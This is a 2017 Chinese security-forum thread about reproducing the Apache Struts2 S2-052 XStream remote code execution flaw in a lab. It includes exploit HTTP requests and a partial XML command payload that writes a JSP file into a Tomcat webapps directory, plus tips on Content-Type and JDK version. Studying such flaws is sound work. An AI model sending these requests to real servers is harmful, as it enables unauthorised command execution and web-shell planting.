登录

s2-052 有成功复现的吗，论坛里提到“复现过程”，请求貌似有问题!

shellb0y / 2017-09-07 09:22:19 / 浏览数 3256 安全技术 技术讨论 顶(0) 踩(0)

根据坛子里的 “复现过程” 无法复现, 还有网上的一些复现过程也没有复现成功。

编辑(eidt)请求：
GET /struts2-rest-showcase/orders/3/edit HTTP/1.1
Referer: http://192.168.165.149:8080/struts2-rest-showcase/orders.xhtml
部分payloay: <command><string>/usr/bin/touch</string><string>/tmp/xxs</string> </command>
注： 点击编辑，是个GET请求，论坛里文章确是POST, 编辑后 点击“submit” 是个POST请求，有3个参数，但这个不能添加xml payload.

view 请求：
GET /struts2-rest-showcase/orders/3 HTTP/1.1
Referer: http://192.168.165.149:8080/struts2-rest-showcase/orders.xhtml
部分直接换行加payload ：<command><string>/usr/bin/touch</string><string>/tmp/xxs</string> </command>
还是无法写文件成功。

坛友们有复现成功的吗，能详细写下具体发包的请求吗？这个确实很简单，但不知道哪个环节出问了，环境都换几套了。

点击收藏 | 0 关注 | 0
上一篇：渗透测试学习笔记之案例四 下一篇：DDOS原理与防御

1. 4 条回复


hades 2017-09-07 10:18:12

转换成xml也成功，但是注意Content-Type需要改成application/xml类型

包是用burp suite修改的

https://github.com/jas502n/St2-052/blob/master/St2-052%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E5%91%BD%E4%BB%A4%E6%89%A7

0 回复Ta


shellb0y 2017-09-07 11:35:37

引用第1楼hades于2017-09-07 18:18发表的 回 楼主(shellb0y) 的帖子：
转换成xml也成功，但是注意Content-Type需要改成application/xml类型

包是用burp suite修改的

edit-->submit-->替换 post 内容。
..... [url=https://xianzhi.aliyun.com/forum/job.php?action=topost&tid=2077&pid=5745][/url]

0 回复Ta

 hades 2017-09-07 12:36:23

目标jdk要1.8以上

0 回复Ta

 shellb0y 2017-09-08 06:50:39

成功复现了，版主结贴吧，感谢版主。

请求:
POST http://192.168.165.143:8082/orders/5 HTTP/1.1
Host: 192.168.165.143:8082
Connection: keep-alive
Content-Length: 1678
Cache-Control: max-age=0
Origin: http://192.168.165.145:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36
Content-Type: application/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Referer: http://192.168.165.143:8082/orders/5/edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=604CAF5C9F71147CC54AFB136F91A57C

<command><string>/usr/bin/touch</string><string>/usr/local/tomcat/webapps/s2.jsp</string> </command>
.....
成功写入s2.jsp

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板